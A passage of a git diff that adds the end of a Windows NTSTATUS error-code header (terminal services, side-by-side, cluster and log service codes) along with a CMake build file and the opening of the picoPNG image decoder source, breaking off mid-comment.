STATUS_CTX_MODEM_RESPONSE_VOICE ((NTSTATUS)0xC00A000FL) + +// +// MessageId: STATUS_CTX_TD_ERROR +// +// MessageText: +// +// Transport driver error +// +#define STATUS_CTX_TD_ERROR ((NTSTATUS)0xC00A0010L) + +// +// MessageId: STATUS_CTX_LICENSE_CLIENT_INVALID +// +// MessageText: +// +// The client you are using is not licensed to use this system. Your logon request is denied. +// +#define STATUS_CTX_LICENSE_CLIENT_INVALID ((NTSTATUS)0xC00A0012L) + +// +// MessageId: STATUS_CTX_LICENSE_NOT_AVAILABLE +// +// MessageText: +// +// The system has reached its licensed logon limit. +// Please try again later. +// +#define STATUS_CTX_LICENSE_NOT_AVAILABLE ((NTSTATUS)0xC00A0013L) + +// +// MessageId: STATUS_CTX_LICENSE_EXPIRED +// +// MessageText: +// +// The system license has expired. Your logon request is denied. +// +#define STATUS_CTX_LICENSE_EXPIRED ((NTSTATUS)0xC00A0014L) + +// +// MessageId: STATUS_CTX_WINSTATION_NOT_FOUND +// +// MessageText: +// +// The specified session cannot be found. +// +#define STATUS_CTX_WINSTATION_NOT_FOUND ((NTSTATUS)0xC00A0015L) + +// +// MessageId: STATUS_CTX_WINSTATION_NAME_COLLISION +// +// MessageText: +// +// The specified session name is already in use. +// +#define STATUS_CTX_WINSTATION_NAME_COLLISION ((NTSTATUS)0xC00A0016L) + +// +// MessageId: STATUS_CTX_WINSTATION_BUSY +// +// MessageText: +// +// The requested operation cannot be completed because the Terminal Connection is currently busy processing a connect, disconnect, reset, or delete operation. +// +#define STATUS_CTX_WINSTATION_BUSY ((NTSTATUS)0xC00A0017L) + +// +// MessageId: STATUS_CTX_BAD_VIDEO_MODE +// +// MessageText: +// +// An attempt has been made to connect to a session whose video mode is not supported by the current client. +// +#define STATUS_CTX_BAD_VIDEO_MODE ((NTSTATUS)0xC00A0018L) + +// +// MessageId: STATUS_CTX_GRAPHICS_INVALID +// +// MessageText: +// +// The application attempted to enable DOS graphics mode. +// DOS graphics mode is not supported. +// +#define STATUS_CTX_GRAPHICS_INVALID ((NTSTATUS)0xC00A0022L) + +// +// MessageId: STATUS_CTX_NOT_CONSOLE +// +// MessageText: +// +// The requested operation can be performed only on the system console. +// This is most often the result of a driver or system DLL requiring direct console access. +// +#define STATUS_CTX_NOT_CONSOLE ((NTSTATUS)0xC00A0024L) + +// +// MessageId: STATUS_CTX_CLIENT_QUERY_TIMEOUT +// +// MessageText: +// +// The client failed to respond to the server connect message. +// +#define STATUS_CTX_CLIENT_QUERY_TIMEOUT ((NTSTATUS)0xC00A0026L) + +// +// MessageId: STATUS_CTX_CONSOLE_DISCONNECT +// +// MessageText: +// +// Disconnecting the console session is not supported. +// +#define STATUS_CTX_CONSOLE_DISCONNECT ((NTSTATUS)0xC00A0027L) + +// +// MessageId: STATUS_CTX_CONSOLE_CONNECT +// +// MessageText: +// +// Reconnecting a disconnected session to the console is not supported. +// +#define STATUS_CTX_CONSOLE_CONNECT ((NTSTATUS)0xC00A0028L) + +// +// MessageId: STATUS_CTX_SHADOW_DENIED +// +// MessageText: +// +// The request to control another session remotely was denied. +// +#define STATUS_CTX_SHADOW_DENIED ((NTSTATUS)0xC00A002AL) + +// +// MessageId: STATUS_CTX_WINSTATION_ACCESS_DENIED +// +// MessageText: +// +// A process has requested access to a session, but has not been granted those access rights. +// +#define STATUS_CTX_WINSTATION_ACCESS_DENIED ((NTSTATUS)0xC00A002BL) + +// +// MessageId: STATUS_CTX_INVALID_WD +// +// MessageText: +// +// The Terminal Connection driver %1 is invalid. +// +#define STATUS_CTX_INVALID_WD ((NTSTATUS)0xC00A002EL) + +// +// MessageId: STATUS_CTX_WD_NOT_FOUND +// +// MessageText: +// +// The Terminal Connection driver %1 was not found in the system path. +// +#define STATUS_CTX_WD_NOT_FOUND ((NTSTATUS)0xC00A002FL) + +// +// MessageId: STATUS_CTX_SHADOW_INVALID +// +// MessageText: +// +// The requested session cannot be controlled remotely. +// You cannot control your own session, a session that is trying to control your session, +// a session that has no user logged on, nor control other sessions from the console. +// +#define STATUS_CTX_SHADOW_INVALID ((NTSTATUS)0xC00A0030L) + +// +// MessageId: STATUS_CTX_SHADOW_DISABLED +// +// MessageText: +// +// The requested session is not configured to allow remote control. +// +#define STATUS_CTX_SHADOW_DISABLED ((NTSTATUS)0xC00A0031L) + +// +// MessageId: STATUS_RDP_PROTOCOL_ERROR +// +// MessageText: +// +// The RDP protocol component %2 detected an error in the protocol stream and has disconnected the client. +// +#define STATUS_RDP_PROTOCOL_ERROR ((NTSTATUS)0xC00A0032L) + +// +// MessageId: STATUS_CTX_CLIENT_LICENSE_NOT_SET +// +// MessageText: +// +// Your request to connect to this Terminal server has been rejected. +// Your Terminal Server Client license number has not been entered for this copy of the Terminal Client. +// Please call your system administrator for help in entering a valid, unique license number for this Terminal Server Client. +// Click OK to continue. +// +#define STATUS_CTX_CLIENT_LICENSE_NOT_SET ((NTSTATUS)0xC00A0033L) + +// +// MessageId: STATUS_CTX_CLIENT_LICENSE_IN_USE +// +// MessageText: +// +// Your request to connect to this Terminal server has been rejected. +// Your Terminal Server Client license number is currently being used by another user. +// Please call your system administrator to obtain a new copy of the Terminal Server Client with a valid, unique license number. +// Click OK to continue. +// +#define STATUS_CTX_CLIENT_LICENSE_IN_USE ((NTSTATUS)0xC00A0034L) + +// +// MessageId: STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE +// +// MessageText: +// +// The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported. +// +#define STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE ((NTSTATUS)0xC00A0035L) + +// +// MessageId: STATUS_CTX_SHADOW_NOT_RUNNING +// +// MessageText: +// +// Remote control could not be terminated because the specified session is not currently being remotely controlled. +// +#define STATUS_CTX_SHADOW_NOT_RUNNING ((NTSTATUS)0xC00A0036L) + +// +// MessageId: STATUS_PNP_BAD_MPS_TABLE +// +// MessageText: +// +// A device is missing in the system BIOS MPS table. This device will not be used. +// Please contact your system vendor for system BIOS update. +// +#define STATUS_PNP_BAD_MPS_TABLE ((NTSTATUS)0xC0040035L) + +// +// MessageId: STATUS_PNP_TRANSLATION_FAILED +// +// MessageText: +// +// A translator failed to translate resources. +// +#define STATUS_PNP_TRANSLATION_FAILED ((NTSTATUS)0xC0040036L) + +// +// MessageId: STATUS_PNP_IRQ_TRANSLATION_FAILED +// +// MessageText: +// +// A IRQ translator failed to translate resources. +// +#define STATUS_PNP_IRQ_TRANSLATION_FAILED ((NTSTATUS)0xC0040037L) + +// +// MessageId: STATUS_PNP_INVALID_ID +// +// MessageText: +// +// Driver %2 returned invalid ID for a child device (%3). +// +#define STATUS_PNP_INVALID_ID ((NTSTATUS)0xC0040038L) + +// +// MessageId: STATUS_SXS_SECTION_NOT_FOUND +// +// MessageText: +// +// The requested section is not present in the activation context. +// +#define STATUS_SXS_SECTION_NOT_FOUND ((NTSTATUS)0xC0150001L) + +// +// MessageId: STATUS_SXS_CANT_GEN_ACTCTX +// +// MessageText: +// +// Windows was not able to process the application binding information. +// Please refer to your System Event Log for further information. +// +#define STATUS_SXS_CANT_GEN_ACTCTX ((NTSTATUS)0xC0150002L) + +// +// MessageId: STATUS_SXS_INVALID_ACTCTXDATA_FORMAT +// +// MessageText: +// +// The application binding data format is invalid. +// +#define STATUS_SXS_INVALID_ACTCTXDATA_FORMAT ((NTSTATUS)0xC0150003L) + +// +// MessageId: STATUS_SXS_ASSEMBLY_NOT_FOUND +// +// MessageText: +// +// The referenced assembly is not installed on your system. +// +#define STATUS_SXS_ASSEMBLY_NOT_FOUND ((NTSTATUS)0xC0150004L) + +// +// MessageId: STATUS_SXS_MANIFEST_FORMAT_ERROR +// +// MessageText: +// +// The manifest file does not begin with the required tag and format information. +// +#define STATUS_SXS_MANIFEST_FORMAT_ERROR ((NTSTATUS)0xC0150005L) + +// +// MessageId: STATUS_SXS_MANIFEST_PARSE_ERROR +// +// MessageText: +// +// The manifest file contains one or more syntax errors. +// +#define STATUS_SXS_MANIFEST_PARSE_ERROR ((NTSTATUS)0xC0150006L) + +// +// MessageId: STATUS_SXS_ACTIVATION_CONTEXT_DISABLED +// +// MessageText: +// +// The application attempted to activate a disabled activation context. +// +#define STATUS_SXS_ACTIVATION_CONTEXT_DISABLED ((NTSTATUS)0xC0150007L) + +// +// MessageId: STATUS_SXS_KEY_NOT_FOUND +// +// MessageText: +// +// The requested lookup key was not found in any active activation context. +// +#define STATUS_SXS_KEY_NOT_FOUND ((NTSTATUS)0xC0150008L) + +// +// MessageId: STATUS_SXS_VERSION_CONFLICT +// +// MessageText: +// +// A component version required by the application conflicts with another component version already active. +// +#define STATUS_SXS_VERSION_CONFLICT ((NTSTATUS)0xC0150009L) + +// +// MessageId: STATUS_SXS_WRONG_SECTION_TYPE +// +// MessageText: +// +// The type requested activation context section does not match the query API used. +// +#define STATUS_SXS_WRONG_SECTION_TYPE ((NTSTATUS)0xC015000AL) + +// +// MessageId: STATUS_SXS_THREAD_QUERIES_DISABLED +// +// MessageText: +// +// Lack of system resources has required isolated activation to be disabled for the current thread of execution. +// +#define STATUS_SXS_THREAD_QUERIES_DISABLED ((NTSTATUS)0xC015000BL) + +// +// MessageId: STATUS_SXS_ASSEMBLY_MISSING +// +// MessageText: +// +// The referenced assembly could not be found. +// +#define STATUS_SXS_ASSEMBLY_MISSING ((NTSTATUS)0xC015000CL) + +// +// MessageId: STATUS_SXS_RELEASE_ACTIVATION_CONTEXT +// +// MessageText: +// +// A kernel mode component is releasing a reference on an activation context. +// +#define STATUS_SXS_RELEASE_ACTIVATION_CONTEXT ((NTSTATUS)0x4015000DL) + +// +// MessageId: STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET +// +// MessageText: +// +// An attempt to set the process default activation context failed because the process default activation context was already set. +// +#define STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET ((NTSTATUS)0xC015000EL) + +// +// MessageId: STATUS_SXS_MULTIPLE_DEACTIVATION +// +// MessageText: +// +// The activation context being deactivated has already been deactivated. +// +#define STATUS_SXS_MULTIPLE_DEACTIVATION ((NTSTATUS)0xC0150011L) + +// +// MessageId: STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY +// +// MessageText: +// +// The activation context of system default assembly could not be generated. +// +#define STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY ((NTSTATUS)0xC0150012L) + +// +// MessageId: STATUS_SXS_PROCESS_TERMINATION_REQUESTED +// +// MessageText: +// +// A component used by the isolation facility has requested to terminate the process. +// +#define STATUS_SXS_PROCESS_TERMINATION_REQUESTED ((NTSTATUS)0xC0150013L) + +// +// MessageId: STATUS_SXS_CORRUPT_ACTIVATION_STACK +// +// MessageText: +// +// The activation context activation stack for the running thread of execution is corrupt. +// +#define STATUS_SXS_CORRUPT_ACTIVATION_STACK ((NTSTATUS)0xC0150014L) + +// +// MessageId: STATUS_SXS_CORRUPTION +// +// MessageText: +// +// The application isolation metadata for this process or thread has become corrupt. +// +#define STATUS_SXS_CORRUPTION ((NTSTATUS)0xC0150015L) + +// +// MessageId: STATUS_CLUSTER_INVALID_NODE +// +// MessageText: +// +// The cluster node is not valid. +// +#define STATUS_CLUSTER_INVALID_NODE ((NTSTATUS)0xC0130001L) + +// +// MessageId: STATUS_CLUSTER_NODE_EXISTS +// +// MessageText: +// +// The cluster node already exists. +// +#define STATUS_CLUSTER_NODE_EXISTS ((NTSTATUS)0xC0130002L) + +// +// MessageId: STATUS_CLUSTER_JOIN_IN_PROGRESS +// +// MessageText: +// +// A node is in the process of joining the cluster. +// +#define STATUS_CLUSTER_JOIN_IN_PROGRESS ((NTSTATUS)0xC0130003L) + +// +// MessageId: STATUS_CLUSTER_NODE_NOT_FOUND +// +// MessageText: +// +// The cluster node was not found. +// +#define STATUS_CLUSTER_NODE_NOT_FOUND ((NTSTATUS)0xC0130004L) + +// +// MessageId: STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND +// +// MessageText: +// +// The cluster local node information was not found. +// +#define STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND ((NTSTATUS)0xC0130005L) + +// +// MessageId: STATUS_CLUSTER_NETWORK_EXISTS +// +// MessageText: +// +// The cluster network already exists. +// +#define STATUS_CLUSTER_NETWORK_EXISTS ((NTSTATUS)0xC0130006L) + +// +// MessageId: STATUS_CLUSTER_NETWORK_NOT_FOUND +// +// MessageText: +// +// The cluster network was not found. +// +#define STATUS_CLUSTER_NETWORK_NOT_FOUND ((NTSTATUS)0xC0130007L) + +// +// MessageId: STATUS_CLUSTER_NETINTERFACE_EXISTS +// +// MessageText: +// +// The cluster network interface already exists. +// +#define STATUS_CLUSTER_NETINTERFACE_EXISTS ((NTSTATUS)0xC0130008L) + +// +// MessageId: STATUS_CLUSTER_NETINTERFACE_NOT_FOUND +// +// MessageText: +// +// The cluster network interface was not found. +// +#define STATUS_CLUSTER_NETINTERFACE_NOT_FOUND ((NTSTATUS)0xC0130009L) + +// +// MessageId: STATUS_CLUSTER_INVALID_REQUEST +// +// MessageText: +// +// The cluster request is not valid for this object. +// +#define STATUS_CLUSTER_INVALID_REQUEST ((NTSTATUS)0xC013000AL) + +// +// MessageId: STATUS_CLUSTER_INVALID_NETWORK_PROVIDER +// +// MessageText: +// +// The cluster network provider is not valid. +// +#define STATUS_CLUSTER_INVALID_NETWORK_PROVIDER ((NTSTATUS)0xC013000BL) + +// +// MessageId: STATUS_CLUSTER_NODE_DOWN +// +// MessageText: +// +// The cluster node is down. +// +#define STATUS_CLUSTER_NODE_DOWN ((NTSTATUS)0xC013000CL) + +// +// MessageId: STATUS_CLUSTER_NODE_UNREACHABLE +// +// MessageText: +// +// The cluster node is not reachable. +// +#define STATUS_CLUSTER_NODE_UNREACHABLE ((NTSTATUS)0xC013000DL) + +// +// MessageId: STATUS_CLUSTER_NODE_NOT_MEMBER +// +// MessageText: +// +// The cluster node is not a member of the cluster. +// +#define STATUS_CLUSTER_NODE_NOT_MEMBER ((NTSTATUS)0xC013000EL) + +// +// MessageId: STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS +// +// MessageText: +// +// A cluster join operation is not in progress. +// +#define STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS ((NTSTATUS)0xC013000FL) + +// +// MessageId: STATUS_CLUSTER_INVALID_NETWORK +// +// MessageText: +// +// The cluster network is not valid. +// +#define STATUS_CLUSTER_INVALID_NETWORK ((NTSTATUS)0xC0130010L) + +// +// MessageId: STATUS_CLUSTER_NO_NET_ADAPTERS +// +// MessageText: +// +// No network adapters are available. +// +#define STATUS_CLUSTER_NO_NET_ADAPTERS ((NTSTATUS)0xC0130011L) + +// +// MessageId: STATUS_CLUSTER_NODE_UP +// +// MessageText: +// +// The cluster node is up. +// +#define STATUS_CLUSTER_NODE_UP ((NTSTATUS)0xC0130012L) + +// +// MessageId: STATUS_CLUSTER_NODE_PAUSED +// +// MessageText: +// +// The cluster node is paused. +// +#define STATUS_CLUSTER_NODE_PAUSED ((NTSTATUS)0xC0130013L) + +// +// MessageId: STATUS_CLUSTER_NODE_NOT_PAUSED +// +// MessageText: +// +// The cluster node is not paused. +// +#define STATUS_CLUSTER_NODE_NOT_PAUSED ((NTSTATUS)0xC0130014L) + +// +// MessageId: STATUS_CLUSTER_NO_SECURITY_CONTEXT +// +// MessageText: +// +// No cluster security context is available. +// +#define STATUS_CLUSTER_NO_SECURITY_CONTEXT ((NTSTATUS)0xC0130015L) + +// +// MessageId: STATUS_CLUSTER_NETWORK_NOT_INTERNAL +// +// MessageText: +// +// The cluster network is not configured for internal cluster communication. +// +#define STATUS_CLUSTER_NETWORK_NOT_INTERNAL ((NTSTATUS)0xC0130016L) + +// +// MessageId: STATUS_CLUSTER_POISONED +// +// MessageText: +// +// The cluster node has been poisoned. +// +#define STATUS_CLUSTER_POISONED ((NTSTATUS)0xC0130017L) + + +// +// MessageId: STATUS_LOG_SECTOR_INVALID +// +// MessageText: +// +// Log service found an invalid log sector. +// +#define STATUS_LOG_SECTOR_INVALID ((NTSTATUS)0xC01A0001L) + +// +// MessageId: STATUS_LOG_SECTOR_PARITY_INVALID +// +// MessageText: +// +// Log service encountered a log sector with invalid block parity. +// +#define STATUS_LOG_SECTOR_PARITY_INVALID ((NTSTATUS)0xC01A0002L) + +// +// MessageId: STATUS_LOG_SECTOR_REMAPPED +// +// MessageText: +// +// Log service encountered a remapped log sector. +// +#define STATUS_LOG_SECTOR_REMAPPED ((NTSTATUS)0xC01A0003L) + +// +// MessageId: STATUS_LOG_BLOCK_INCOMPLETE +// +// MessageText: +// +// Log service encountered a partial or incomplete log block. +// +#define STATUS_LOG_BLOCK_INCOMPLETE ((NTSTATUS)0xC01A0004L) + +// +// MessageId: STATUS_LOG_INVALID_RANGE +// +// MessageText: +// +// Log service encountered an attempt access data outside the active log range. +// +#define STATUS_LOG_INVALID_RANGE ((NTSTATUS)0xC01A0005L) + +// +// MessageId: STATUS_LOG_BLOCKS_EXHAUSTED +// +// MessageText: +// +// Log service user log marshalling buffers are exhausted. +// +#define STATUS_LOG_BLOCKS_EXHAUSTED ((NTSTATUS)0xC01A0006L) + +// +// MessageId: STATUS_LOG_READ_CONTEXT_INVALID +// +// MessageText: +// +// Log service encountered an attempt read from a marshalling area with an invalid read context. +// +#define STATUS_LOG_READ_CONTEXT_INVALID ((NTSTATUS)0xC01A0007L) + +// +// MessageId: STATUS_LOG_RESTART_INVALID +// +// MessageText: +// +// Log service encountered an invalid log restart area. +// +#define STATUS_LOG_RESTART_INVALID ((NTSTATUS)0xC01A0008L) + +// +// MessageId: STATUS_LOG_BLOCK_VERSION +// +// MessageText: +// +// Log service encountered an invalid log block version. +// +#define STATUS_LOG_BLOCK_VERSION ((NTSTATUS)0xC01A0009L) + +// +// MessageId: STATUS_LOG_BLOCK_INVALID +// +// MessageText: +// +// Log service encountered an invalid log block. +// +#define STATUS_LOG_BLOCK_INVALID ((NTSTATUS)0xC01A000AL) + +// +// MessageId: STATUS_LOG_READ_MODE_INVALID +// +// MessageText: +// +// Log service encountered an attempt to read the log with an invalid read mode. +// +#define STATUS_LOG_READ_MODE_INVALID ((NTSTATUS)0xC01A000BL) + +// +// MessageId: STATUS_LOG_NO_RESTART +// +// MessageText: +// +// Log service encountered a log stream with no restart area. +// +#define STATUS_LOG_NO_RESTART ((NTSTATUS)0x401A000CL) + +// +// MessageId: STATUS_LOG_METADATA_CORRUPT +// +// MessageText: +// +// Log service encountered a corrupted metadata file. +// +#define STATUS_LOG_METADATA_CORRUPT ((NTSTATUS)0xC01A000DL) + +// +// MessageId: STATUS_LOG_METADATA_INVALID +// +// MessageText: +// +// Log service encountered a metadata file that could not be created by the log file system. +// +#define STATUS_LOG_METADATA_INVALID ((NTSTATUS)0xC01A000EL) + +// +// MessageId: STATUS_LOG_METADATA_INCONSISTENT +// +// MessageText: +// +// Log service encountered a metadata file with inconsistent data. +// +#define STATUS_LOG_METADATA_INCONSISTENT ((NTSTATUS)0xC01A000FL) + +// +// MessageId: STATUS_LOG_RESERVATION_INVALID +// +// MessageText: +// +// Log service encountered an attempt to erroneously allocate or dispose reservation space. +// +#define STATUS_LOG_RESERVATION_INVALID ((NTSTATUS)0xC01A0010L) + +// +// MessageId: STATUS_LOG_CANT_DELETE +// +// MessageText: +// +// Log service cannot delete log file or file system container. +// +#define STATUS_LOG_CANT_DELETE ((NTSTATUS)0xC01A0011L) + +// +// MessageId: STATUS_LOG_CONTAINER_LIMIT_EXCEEDED +// +// MessageText: +// +// Log service has reached the maximum allowable containers allocated to a log file. +// +#define STATUS_LOG_CONTAINER_LIMIT_EXCEEDED ((NTSTATUS)0xC01A0012L) + +// +// MessageId: STATUS_LOG_START_OF_LOG +// +// MessageText: +// +// Log service has attempted to read or write backwards past the start of the log. +// +#define STATUS_LOG_START_OF_LOG ((NTSTATUS)0xC01A0013L) + +// +// MessageId: STATUS_LOG_POLICY_ALREADY_INSTALLED +// +// MessageText: +// +// Log policy could not be installed because a policy of the same type is already present. +// +#define STATUS_LOG_POLICY_ALREADY_INSTALLED ((NTSTATUS)0xC01A0014L) + +// +// MessageId: STATUS_LOG_POLICY_NOT_INSTALLED +// +// MessageText: +// +// Log policy in question was not installed at the time of the request. +// +#define STATUS_LOG_POLICY_NOT_INSTALLED ((NTSTATUS)0xC01A0015L) + +// +// MessageId: STATUS_LOG_POLICY_INVALID +// +// MessageText: +// +// The installed set of policies on the log is invalid. +// +#define STATUS_LOG_POLICY_INVALID ((NTSTATUS)0xC01A0016L) + +// +// MessageId: STATUS_LOG_POLICY_CONFLICT +// +// MessageText: +// +// A policy on the log in question prevented the operation from completing. +// +#define STATUS_LOG_POLICY_CONFLICT ((NTSTATUS)0xC01A0017L) + +// +// MessageId: STATUS_LOG_PINNED_ARCHIVE_TAIL +// +// MessageText: +// +// Log space cannot be reclaimed because the log is pinned by the archive tail. +// +#define STATUS_LOG_PINNED_ARCHIVE_TAIL ((NTSTATUS)0xC01A0018L) + +// +// MessageId: STATUS_LOG_RECORD_NONEXISTENT +// +// MessageText: +// +// Log record is not a record in the log file. +// +#define STATUS_LOG_RECORD_NONEXISTENT ((NTSTATUS)0xC01A0019L) + +// +// MessageId: STATUS_LOG_RECORDS_RESERVED_INVALID +// +// MessageText: +// +// Number of reserved log records or the adjustment of the number of reserved log records is invalid. +// +#define STATUS_LOG_RECORDS_RESERVED_INVALID ((NTSTATUS)0xC01A001AL) + +// +// MessageId: STATUS_LOG_SPACE_RESERVED_INVALID +// +// MessageText: +// +// Reserved log space or the adjustment of the log space is invalid. +// +#define STATUS_LOG_SPACE_RESERVED_INVALID ((NTSTATUS)0xC01A001BL) + +// +// MessageId: STATUS_LOG_TAIL_INVALID +// +// MessageText: +// +// A new or existing archive tail or base of the active log is invalid. +// +#define STATUS_LOG_TAIL_INVALID ((NTSTATUS)0xC01A001CL) + +// +// MessageId: STATUS_LOG_FULL +// +// MessageText: +// +// Log space is exhausted. +// +#define STATUS_LOG_FULL ((NTSTATUS)0xC01A001DL) + +// +// MessageId: STATUS_LOG_MULTIPLEXED +// +// MessageText: +// +// Log is multiplexed, no direct writes to the physical log is allowed. +// +#define STATUS_LOG_MULTIPLEXED ((NTSTATUS)0xC01A001EL) + +// +// MessageId: STATUS_LOG_DEDICATED +// +// MessageText: +// +// The operation failed because the log is a dedicated log. +// +#define STATUS_LOG_DEDICATED ((NTSTATUS)0xC01A001FL) + +// +// MessageId: STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS +// +// MessageText: +// +// The operation requires an archive context. +// +#define STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS ((NTSTATUS)0xC01A0020L) + +// +// MessageId: STATUS_LOG_ARCHIVE_IN_PROGRESS +// +// MessageText: +// +// Log archival is in progress. +// +#define STATUS_LOG_ARCHIVE_IN_PROGRESS ((NTSTATUS)0xC01A0021L) + +// +// MessageId: STATUS_LOG_EPHEMERAL +// +// MessageText: +// +// The operation requires a non-ephemeral log, but the log is ephemeral. +// +#define STATUS_LOG_EPHEMERAL ((NTSTATUS)0xC01A0022L) + +// +// MessageId: STATUS_LOG_NOT_ENOUGH_CONTAINERS +// +// MessageText: +// +// The log must have at least two containers before it can be read from or written to. +// +#define STATUS_LOG_NOT_ENOUGH_CONTAINERS ((NTSTATUS)0xC01A0023L) + +// +// MessageId: STATUS_LOG_CLIENT_ALREADY_REGISTERED +// +// MessageText: +// +// A log client has already registered on the stream. +// +#define STATUS_LOG_CLIENT_ALREADY_REGISTERED ((NTSTATUS)0xC01A0024L) + +// +// MessageId: STATUS_LOG_CLIENT_NOT_REGISTERED +// +// MessageText: +// +// A log client has not been registered on the stream. +// +#define STATUS_LOG_CLIENT_NOT_REGISTERED ((NTSTATUS)0xC01A0025L) + +// +// MessageId: STATUS_LOG_FULL_HANDLER_IN_PROGRESS +// +// MessageText: +// +// A request has already been made to handle the log full condition. +// +#define STATUS_LOG_FULL_HANDLER_IN_PROGRESS ((NTSTATUS)0xC01A0026L) + +// +// MessageId: STATUS_LOG_CONTAINER_READ_FAILED +// +// MessageText: +// +// Log service enountered an error when attempting to read from a log container. +// +#define STATUS_LOG_CONTAINER_READ_FAILED ((NTSTATUS)0xC01A0027L) + +// +// MessageId: STATUS_LOG_CONTAINER_WRITE_FAILED +// +// MessageText: +// +// Log service enountered an error when attempting to write to a log container. +// +#define STATUS_LOG_CONTAINER_WRITE_FAILED ((NTSTATUS)0xC01A0028L) + +// +// MessageId: STATUS_LOG_CONTAINER_OPEN_FAILED +// +// MessageText: +// +// Log service enountered an error when attempting open a log container. +// +#define STATUS_LOG_CONTAINER_OPEN_FAILED ((NTSTATUS)0xC01A0029L) + +// +// MessageId: STATUS_LOG_CONTAINER_STATE_INVALID +// +// MessageText: +// +// Log service enountered an invalid container state when attempting a requested action. +// +#define STATUS_LOG_CONTAINER_STATE_INVALID ((NTSTATUS)0xC01A002AL) + +// +// MessageId: STATUS_LOG_STATE_INVALID +// +// MessageText: +// +// Log service is not in the correct state to perform a requested action. +// +#define STATUS_LOG_STATE_INVALID ((NTSTATUS)0xC01A002BL) + +// +// MessageId: STATUS_LOG_PINNED +// +// MessageText: +// +// Log space cannot be reclaimed because the log is pinned. +// +#define STATUS_LOG_PINNED ((NTSTATUS)0xC01A002CL) + +// +// MessageId: STATUS_LOG_METADATA_FLUSH_FAILED +// +// MessageText: +// +// Log metadata flush failed. +// +#define STATUS_LOG_METADATA_FLUSH_FAILED ((NTSTATUS)0xC01A002DL) + +// +// MessageId: STATUS_LOG_INCONSISTENT_SECURITY +// +// MessageText: +// +// Security on the log and its containers is inconsistent. +// +#define STATUS_LOG_INCONSISTENT_SECURITY ((NTSTATUS)0xC01A002EL) + +// +// MessageId: STATUS_COULD_NOT_RESIZE_LOG +// +// MessageText: +// +// The log could not be set to the requested size. +// +#define STATUS_COULD_NOT_RESIZE_LOG ((NTSTATUS)0x80190009L) + + +// end_ntsecapi + +#endif // WIN32_NO_STATUS // winnt +#endif // _NTSTATUS_ + diff --git a/dep/picopng/CMakeLists.txt b/dep/picopng/CMakeLists.txt new file mode 100644 index 0000000..de6b8a6 --- /dev/null +++ b/dep/picopng/CMakeLists.txt @@ -0,0 +1,28 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +file(GLOB_RECURSE SOURCE_FILES *.cpp *.h) +add_library(picopng STATIC ${SOURCE_FILES}) +target_link_libraries(picopng PUBLIC miniz tinystl) +target_include_directories(picopng PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) diff --git a/dep/picopng/picopng.cpp b/dep/picopng/picopng.cpp new file mode 100644 index 0000000..9c49ccb --- /dev/null +++ b/dep/picopng/picopng.cpp @@ -0,0 +1,345 @@ +#include +#include "picopng.h" + +/* +decodePNG: The picoPNG function, decodes a PNG file buffer in memory, into a raw pixel buffer. +out_image: output parameter, this will contain the raw pixels after decoding. + By default the output is 32-bit RGBA color. + The std::vector is automatically resized to the correct size. +image_width: output_parameter, this will contain the width of the image in pixels. +image_height: output_parameter, this will contain the height of the image in pixels. +in_png: pointer to the buffer of the PNG file in memory. To get it from a file on + disk, load it and store it in a memory buffer yourself first. +in_size: size of the input PNG file in bytes. +convert_to_rgba32: optional parameter, true by default. + Set to true to get the output in RGBA 32-bit (8 bit per channel) color format + no matter what color type the original PNG image had. This gives predictable, + useable data from any random input PNG. + Set to false to do no color conversion at all. The result then has the same data + type as the PNG image, which can range from 1 bit to 64 bits per pixel. + Information about the color type or palette colors are not provided. You need + to know this information yourself to be able to use the data so this only + works for trusted PNG files. Use LodePNG instead of picoPNG if you need this information. +return: 0 if success, not 0 if some error occured. +*/ +int decodePNG(stl::vector& out_image, unsigned long& image_width, unsigned long& image_height, const unsigned char* in_png, size_t in_size, bool convert_to_rgba32) +{ + // picoPNG version 20101224 + // Copyright (c) 2005-2010 Lode Vandevenne + // + // This software is provided 'as-is', without any express or implied + // warranty. In no event will the authors be held liable for any damages + // arising from the use of this software. + // + // Permission is granted to anyone to use this software for any purpose, + // including commercial applications, and to alter it and redistribute it + // freely, subject to the following restrictions: + // + // 1. The origin of this software must not be misrepresented; you must not + // claim that you wrote the original software. If you use this software + // in a product, an acknowledgment in the product documentation would be + // appreciated but is not required. + // 2. Altered source versions must be plainly marked as such, and must not be + // misrepresented as being the original software. + // 3. This notice may not be removed or altered from any source distribution. + + // picoPNG is a PNG decoder in one C++ function of around 500 lines. Use picoPNG for + // programs that need only 1 .cpp file. Since it's a single function, it's very limited, + // it can convert a PNG to raw pixel data either converted to 32-bit RGBA color or + // with no color conversion at all. For anything more complex, another tiny library + // is available: LodePNG (lodepng.c(pp)), which is a single source and header file. + // Apologies for the compact code style, it's to make this 